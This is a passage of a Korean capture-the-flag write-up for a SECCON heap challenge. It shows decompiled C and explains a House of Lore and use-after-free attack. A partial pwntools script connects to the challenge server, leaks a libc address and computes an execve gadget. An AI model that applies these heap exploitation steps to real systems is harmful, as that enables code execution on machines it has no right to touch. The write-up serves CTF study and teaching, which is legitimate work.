...
| Code Block | ||||
|---|---|---|---|---|
| ||||
unsigned __int64 orderCandy()
{
struct STOCK *dest; // ST10_8
unsigned int i; // [rsp+4h] [rbp-1Ch]
int num; // [rsp+Ch] [rbp-14h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
if ( gOrderCnt )
{
orderList();
puts("\nWould you like to order these candies?");
puts("0) Yes, 1) No");
if ( !(unsigned int)retNumber(2LL) )
{
for ( i = 0; i < gOrderCnt; ++i )
{
num = getStockNum(i);
if ( num )
{
gStock[num - 1]->candyNumber += gOrderList[i]->orderNumber;
}
else if ( (unsigned int)gStockCnt > 4 )
{
puts("The warehouse is full. Your new order can not be completed.");
}
else
{
puts("\nEnter information about newly added candy.");
dest = (struct STOCK *)malloc(24uLL);
strncpy(dest->candyName, gOrderList[i]->orderCandyName, 8uLL);
dest->candyNumber = gOrderList[i]->orderNumber;
printf("Enter the price of %s candy.\n", dest);
dest->candyPrice = retNumber(5LL);
printf("Enter a description of the %s candy.\n", dest);
dest->candyDescription = (char *)malloc(124uLL);
UserInput(dest->candyDescription, 124LL);
gStock[gStockCnt++] = dest;
}
}
while ( gOrderCnt )
{
free(gOrderList[gOrderCnt - 1]);
gOrderList[gOrderCnt-- - 1] = 0LL;
}
}
}
else
{
puts("You have never ordered a product.");
}
return __readfsqword(0x28u) ^ v4;
} |
Proof of concept
- 설명은 진행하기 전에 출제자는 플레이어들이 "House of lore" 취약성을 이용해서 풀기를 원했습니다.
- 하지만 해당 취약성들 외에도 여러 형태로 공격이 가능합니다.
Fake chunk
- 해당 프로그램에서 취약성을 이해하기 위해 ACCOUNT 구조체에 대한 이해가 필요합니다.
- 해당 구조체는 전역 변수로 선언되어 있습니다.
- 해당 프로그램은 3개의 ACCOUNT 구조체를 사용합니다.
- 첫번째 구조체에는 'Admin' 계정 정보가 저장되어 있습니다.
- 2,3번째 구조체는 사용자가 생성한 계정의 정보가 저장됩니다.
- 첫번째 구조체에는 'Admin' 계정 정보가 저장되어 있습니다.
- 해당 구조체는 전역 변수로 선언되어 있습니다.
...
| Panel | ||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| ||||||||||||||||||||||||||||||||||||
|
...
| Code Block |
|---|
from pwn import *
#context.log_level = 'debug'
def login(id,pw):
p.recvuntil('Enter your ID.')
p.send(id)
p.recvuntil('Enter your Password.')
p.send(pw)
def setOrderlist(num):
p.recvuntil('Command : ')
p.send('4')
p.recvuntil('Command : ')
p.send('2')
p.recvuntil('Please pick up the candies to order.')
p.send(num)
p.recvuntil('Command : ')
p.send('5')
def getOrderlist():
p.recvuntil('Command : ')
p.send('4')
p.recvuntil('Command : ')
p.send('1')
def setOrder(price,desc):
p.recvuntil('Command : ')
p.send('4')
p.recvuntil('Command : ')
p.send('4')
p.recvuntil('0) Yes, 1) No')
p.send('0')
p.recvuntil('Enter the price of ')
p.sendline(price)
p.recvuntil('Enter a description of the')
p.send(desc)
p.recvuntil('Command : ')
p.send('5')
def purchase(code,num,comment):
p.recvuntil('Command : ')
p.send('2')
p.recvuntil('Please enter the code number of the candy to be purchased.')
p.send(code)
p.recvuntil('Please enter the number of the candy to purchase.')
p.send(num)
p.recvuntil('Please enter a comment for candy.')
p.send(comment)
bin = ELF('./Lazenca.0x0')
p = remote('n8.pwn.tk.seccon.spica.bz',9999)
login('Admin','admin')
setOrderlist('1')
setOrder('10','TEST')
setOrderlist('1')
setOrderlist('1')
purchase('0','10','AA')
setOrderlist('1')
getOrderlist()
p.recvuntil('Order code : ')
p.recvuntil('Order code : ')
p.recvuntil('Order code : ')
p.recv(1)
tmp = p.recv(5)
tmp = '\x00' + tmp
libcLeak = u64(tmp.ljust(8,'\x00'))
libcBase = libcLeak - 0x3c4c00
execve = libcBase + 0xF0274
log.info("Libc leak : " + hex(libcLeak))
log.info("Libc base: " + hex(libcBase))
log.info("execve : " + hex(execve))
p.recvuntil('Command : ')
p.send('5') |
House of lore
- 다음과 같이 "gAccount[1].fd" 영역에 할당되었던 공간을 "dest->candyDescription"영역에 재할당 받아야 합니다.
동일한 영역을 할당받기 위해 미리 Heap 구조를 설계해야 합니다.
Order list의 0번째 사탕 취소
- 사탕 주문 완료
- 2개의 새로운 계정을 생성합니다.
| Panel | ||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
- 다음과 같이 House of lore에 필요한 Fake chunk를 생성할 수 있습니다.
- 생성한 계정을 이용해 다음과 같이 충전이 필요합니다.
- 2번째 계정 : 6308456(0x604268)
- 3번째 계정 : 6308416(0x604240)
- 2번째 계정을 삭제 합니다.
- 생성한 계정을 이용해 다음과 같이 충전이 필요합니다.
| Panel | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
| Panel | ||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
- 다음과 같이 UAF 취약성을 사용할 수 있습니다.
- Order list에 새로운 사탕을 추가하고, 주문을 완료합니다.
- 이때 "dest→candyDescription" 영역에 "gAccount[1].fd + 0x10" 영역의 주소가 저장됩니다.
- 즉, "gAccount[1].fd→state" 값을 변경 할 수 있습니다.
- Order list에 새로운 사탕을 추가하고, 주문을 완료합니다.
| Code Block |
|---|
One Gadget
| Panel |
|---|
Exploit Code
...